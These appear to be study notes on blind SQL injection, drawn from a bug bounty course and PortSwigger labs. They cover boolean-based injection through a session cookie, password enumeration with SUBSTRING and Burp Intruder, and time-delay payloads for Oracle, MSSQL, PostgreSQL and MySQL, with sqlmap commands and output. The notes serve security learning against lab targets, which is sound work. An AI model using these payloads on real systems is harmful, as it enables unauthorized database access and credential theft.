Blind
Boolean-based
Headers
The example below is based on TCM's Practical Bug Bounty course.
This time the application generates both a POST and a GET request. The former includes two parameters (username and password), but they don't appear to be vulnerable to SQLi. The latter does not contain any parameter, but we can search for other injection points.
We are looking for points where the server might potentially process, such as the User-Agent and the Cookie headers. In this case, the Cookie header includes the session parameter and its value is certainly processed by the back-end (Figure 1).

When testing the session parameter, we can see that we can alter the response's behavior (Content-Length differences) (Figure 2), but we don't get any data within the response like we did while testing the In Band SQLi; this is what makes it a Blind SQLi.

sqlmap's findings.Passing the request to sqlmap, it confirms that the session cookie is indeed injectable, therefore, we can continue the testing process as we did in the In Band section.
$ sqlmap -r get_request.txt --batch --dbms=MySQL --level 5 --technique=B --dbms=MySQL
<SNIP>
sqlmap identified the following injection point(s) with a total of 33 HTTP(s) requests:
---
Parameter: session (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: session=6967cabefd763ac1a1a88e11159957db' AND 9499=9499-- UfuX
---
[12:37:03] [INFO] testing MySQL
[12:37:03] [INFO] confirming MySQL
[12:37:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 7.4.33, Apache 2.4.54
back-end DBMS: MySQL >= 8.0.0Conditional
The example below is based on PostSwigger's Blind SQL injection with conditional responses lab.
SELECT database(); -- test
SELECT substring(database(),1,1); -- t (position,length)
SELECT substring(database(),1,3); -- tes (position,length)
SELECT * FROM products WHERE name = 'Laptop' AND substring((SELECT password FROM users WHERE username='Jessamy'),1,1)>'m';Burp's Active Scan identifies a potential SQLi flaw (Figure 3).

We can send the two responses to Comparer and check what is the differs between them (Figure 4).

Now that we know that if our injected statement is TRUE we will get a Welcome back! message, we can use the SUBSTRING function and start enumerating the administrator's password. We can do that efficiently by performing a Cluster bomb attack with Intruder (Figure 5).
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
All we need to do now is to filter out the irrevelant responses and sort them by Payload 1 (Figure 6).

administrator's password.Time-based
The example below is based on PostSwigger's Blind SQL injection with time delays lab.
We can start by testing the time-based payloads found on PortSwigger's SQLi cheatsheet. using string concatenation (Figure 7).
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
'+||pg_sleep(10)-- -;
Last updated
Was this helpful?